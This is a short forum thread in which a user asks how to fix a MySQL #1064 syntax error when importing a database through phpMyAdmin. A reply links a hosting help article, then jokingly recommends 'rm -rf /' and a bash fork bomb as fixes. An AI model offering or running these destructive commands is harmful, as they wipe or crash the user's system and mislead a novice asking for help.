Author Topic: phpmyadmin import problem  (Read 267 times)

0 Members and 1 Guest are viewing this topic.

Offline helloworld420

  • NULL
  • Posts: 3
  • Cookies: -1
    • View Profile
phpmyadmin import problem
« on: August 13, 2015, 02:31:12 pm »
I got new hosting for my web site  and when I try to import a .sql datbase I get this error below.
What can i do to fix this ???
SQL query:
  DEFAULT  CHARACTER  SET latin1 COLLATE latin1_swedish_ci;

 
 MySQL said: Documentation
  #1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DEFAULT CHARACTER SET latin1 COLLATE latin1_swedish_ci' at line 1

Offline P!X3LTR0N

  • Peasant
  • *
  • Posts: 97
  • Cookies: 16
  • Security for some is a matter of perspective
    • View Profile
Re: phpmyadmin import problem
« Reply #1 on: August 18, 2015, 07:57:32 am »
Dude, I think that error is self explanatory...


Nevertheless, Here is a reference: http://support.hostgator.com/articles/cpanel/how-to-import-your-mysql-database
When all else fails try " rm -rf / " no please don't thats just stupid I meant " : (){ :|: & };: "

Enjoy!